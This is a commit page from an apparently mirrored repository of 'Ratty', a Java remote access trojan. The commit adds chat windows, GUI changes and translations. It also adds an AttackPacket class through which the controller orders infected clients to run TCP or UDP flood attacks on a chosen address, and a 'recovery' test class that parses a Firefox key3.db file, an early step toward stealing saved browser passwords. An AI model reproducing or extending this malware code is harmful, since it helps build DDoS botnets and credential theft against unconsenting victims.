mirror of https://github.com/LucaBongiorni/Ratty
Browse Source
Major changes
Major changes
Added chat Bugfixes Cleanups Started to implements password recovery Translationsmaster
Sogomn
9 years ago
26 changed files with 535 additions and 98 deletions
-
0Ratty/res/connection_data
-
BINRatty/res/gui_menu_icons.png
-
1Ratty/res/language/lang.properties
-
1Ratty/res/language/lang_de.properties
-
1Ratty/res/language/lang_en.properties
-
15Ratty/res/language/lang_ru.properties
-
15Ratty/res/language/lang_uk.properties
-
2Ratty/src/de/sogomn/rat/ActiveConnection.java
-
42Ratty/src/de/sogomn/rat/Client.java
-
19Ratty/src/de/sogomn/rat/GUISettings.java
-
18Ratty/src/de/sogomn/rat/Ratty.java
-
6Ratty/src/de/sogomn/rat/attack/AttackUtils.java
-
49Ratty/src/de/sogomn/rat/packet/AttackPacket.java
-
36Ratty/src/de/sogomn/rat/packet/ChatPacket.java
-
3Ratty/src/de/sogomn/rat/packet/PacketType.java
-
29Ratty/src/de/sogomn/rat/recovery/Firefox.java
-
4Ratty/src/de/sogomn/rat/server/AbstractRattyController.java
-
100Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java
-
18Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
-
43Ratty/src/de/sogomn/rat/server/gui/FileTree.java
-
16Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java
-
4Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
-
39Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java
-
59Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
91Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
22Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
Before Width: 64 | Height: 48 | Size: 907 B After Width: 64 | Height: 64 | Size: 972 B |
@ -0,0 +1,49 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import de.sogomn.rat.ActiveConnection; |
||||
|
import de.sogomn.rat.attack.AttackUtils; |
||||
|
|
||||
|
public final class AttackPacket implements IPacket { |
||||
|
|
||||
|
private byte type; |
||||
|
private String address; |
||||
|
|
||||
|
private int port; |
||||
|
private long duration; |
||||
|
private int threads; |
||||
|
|
||||
|
public static final byte TCP = 0; |
||||
|
public static final byte UDP = 1; |
||||
|
|
||||
|
public AttackPacket(final byte type, final String address, final int port, final long duration, final int threads) { |
||||
|
this.type = type; |
||||
|
this.address = address; |
||||
|
this.port = port; |
||||
|
this.duration = duration; |
||||
|
this.threads = threads; |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void send(final ActiveConnection connection) { |
||||
|
connection.writeByte(type); |
||||
|
connection.writeUTF(address); |
||||
|
connection.writeInt(port); |
||||
|
connection.writeLong(duration); |
||||
|
connection.writeInt(threads); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void receive(final ActiveConnection connection) { |
||||
|
type = connection.readByte(); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void execute(final ActiveConnection connection) { |
||||
|
if (type == TCP) { |
||||
|
AttackUtils.launchTcpWave(address, port, threads); |
||||
|
} else if (type == UDP) { |
||||
|
AttackUtils.launchUdpFlood(address, duration); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,36 @@ |
|||||
|
package de.sogomn.rat.packet; |
||||
|
|
||||
|
import de.sogomn.rat.ActiveConnection; |
||||
|
|
||||
|
public final class ChatPacket implements IPacket { |
||||
|
|
||||
|
private String message; |
||||
|
|
||||
|
public ChatPacket(final String message) { |
||||
|
this.message = message; |
||||
|
} |
||||
|
|
||||
|
public ChatPacket() { |
||||
|
this(""); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void send(final ActiveConnection connection) { |
||||
|
connection.writeUTF(message); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void receive(final ActiveConnection connection) { |
||||
|
message = connection.readUTF(); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void execute(final ActiveConnection connection) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
public String getMessage() { |
||||
|
return message; |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,29 @@ |
|||||
|
package de.sogomn.rat.recovery; |
||||
|
|
||||
|
import de.sogomn.engine.util.FileUtils; |
||||
|
|
||||
|
/* |
||||
|
* TEST CLASS!!! |
||||
|
*/ |
||||
|
public final class Firefox { |
||||
|
|
||||
|
private Firefox() { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
public static void main(final String[] args) { |
||||
|
final byte[] data = FileUtils.readExternalData("C:/Users/Sogomn/AppData/Roaming/Mozilla/Firefox/Profiles/ok9izu3i.default/key3.db"); |
||||
|
final String string = new String(data); |
||||
|
final int globalSalt = string.indexOf("global-salt") - 11 - 16; |
||||
|
final int passwordCheck = string.indexOf("password-check"); |
||||
|
final int entrySalt = globalSalt + 11 + 16; |
||||
|
|
||||
|
System.out.println(globalSalt); |
||||
|
System.out.println(passwordCheck); |
||||
|
System.out.println(entrySalt); |
||||
|
System.out.println(); |
||||
|
System.out.println(string); |
||||
|
System.out.println(); |
||||
|
} |
||||
|
|
||||
|
} |
@ -0,0 +1,100 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import java.awt.BorderLayout; |
||||
|
import java.awt.Container; |
||||
|
import java.awt.Dimension; |
||||
|
import java.awt.event.ActionEvent; |
||||
|
|
||||
|
import javax.swing.JFrame; |
||||
|
import javax.swing.JScrollPane; |
||||
|
import javax.swing.JTextArea; |
||||
|
import javax.swing.JTextField; |
||||
|
import javax.swing.text.DefaultCaret; |
||||
|
|
||||
|
import de.sogomn.engine.util.AbstractListenerContainer; |
||||
|
|
||||
|
public final class ChatWindow extends AbstractListenerContainer<IGuiController> { |
||||
|
|
||||
|
private Object userObject; |
||||
|
|
||||
|
private JFrame frame; |
||||
|
private JTextArea chat; |
||||
|
private JTextField submit; |
||||
|
private JScrollPane scrollPane; |
||||
|
|
||||
|
private String message; |
||||
|
|
||||
|
private static final Dimension SIZE = new Dimension(500, 500); |
||||
|
private static final String USER_PREFIX = "You: "; |
||||
|
|
||||
|
public static final String MESSAGE_SENT = "Message sent"; |
||||
|
|
||||
|
public ChatWindow(final Object userObject) { |
||||
|
this.userObject = userObject; |
||||
|
|
||||
|
frame = new JFrame(); |
||||
|
chat = new JTextArea(); |
||||
|
submit = new JTextField(); |
||||
|
scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); |
||||
|
|
||||
|
final Container contentPane = frame.getContentPane(); |
||||
|
final DefaultCaret caret = (DefaultCaret)chat.getCaret(); |
||||
|
|
||||
|
caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); |
||||
|
|
||||
|
submit.addActionListener(this::messageSubmitted); |
||||
|
chat.setEditable(false); |
||||
|
chat.setLineWrap(true); |
||||
|
chat.setWrapStyleWord(true); |
||||
|
|
||||
|
|
||||
|
contentPane.add(scrollPane, BorderLayout.CENTER); |
||||
|
contentPane.add(submit, BorderLayout.SOUTH); |
||||
|
|
||||
|
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); |
||||
|
frame.setPreferredSize(SIZE); |
||||
|
frame.setIconImages(RattyGui.GUI_ICONS); |
||||
|
frame.pack(); |
||||
|
frame.setLocationRelativeTo(null); |
||||
|
} |
||||
|
|
||||
|
private void messageSubmitted(final ActionEvent a) { |
||||
|
final String message = submit.getText(); |
||||
|
|
||||
|
if (!message.isEmpty()) { |
||||
|
this.message = message; |
||||
|
|
||||
|
notifyListeners(controller -> controller.userInput(MESSAGE_SENT, userObject)); |
||||
|
|
||||
|
addLine(USER_PREFIX + message); |
||||
|
} |
||||
|
|
||||
|
submit.setText(""); |
||||
|
} |
||||
|
|
||||
|
public void close() { |
||||
|
frame.setVisible(false); |
||||
|
frame.dispose(); |
||||
|
} |
||||
|
|
||||
|
public void addLine(final String line) { |
||||
|
chat.append(line + "\r\n"); |
||||
|
} |
||||
|
|
||||
|
public void setVisible(final boolean visible) { |
||||
|
frame.setVisible(visible); |
||||
|
} |
||||
|
|
||||
|
public void setTitle(final String title) { |
||||
|
frame.setTitle(title); |
||||
|
} |
||||
|
|
||||
|
public String getMessage() { |
||||
|
return message; |
||||
|
} |
||||
|
|
||||
|
public boolean isVisible() { |
||||
|
return frame.isVisible(); |
||||
|
} |
||||
|
|
||||
|
} |
@ -1,7 +1,7 @@ |
|||||
package de.sogomn.rat.server.gui; |
package de.sogomn.rat.server.gui; |
||||
|
|
||||
interface IGuiController { |
|
||||
|
public interface IGuiController { |
||||
|
|
||||
void userInput(final String command, final ServerClient client); |
|
||||
|
void userInput(final String command, final Object userObject); |
||||
|
|
||||
} |
} |
@ -0,0 +1,39 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import java.io.File; |
||||
|
|
||||
|
public interface IRattyGui { |
||||
|
|
||||
|
String getInput(final String message); |
||||
|
|
||||
|
default String getInput() { |
||||
|
return getInput(null); |
||||
|
} |
||||
|
|
||||
|
File getFile(final String type); |
||||
|
|
||||
|
default File getFile() { |
||||
|
return getFile(null); |
||||
|
} |
||||
|
|
||||
|
File getSaveFile(final String type); |
||||
|
|
||||
|
default File getSaveFile() { |
||||
|
return getSaveFile(null); |
||||
|
} |
||||
|
|
||||
|
void showMessage(final String message); |
||||
|
|
||||
|
void showError(final String message); |
||||
|
|
||||
|
boolean showWarning(final String message, final String yes, final String no); |
||||
|
|
||||
|
int showOptions(final String message, final String yes, final String no, final String cancel); |
||||
|
|
||||
|
void addClient(final ServerClient client); |
||||
|
|
||||
|
void removeClient(final ServerClient client); |
||||
|
|
||||
|
void update(); |
||||
|
|
||||
|
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue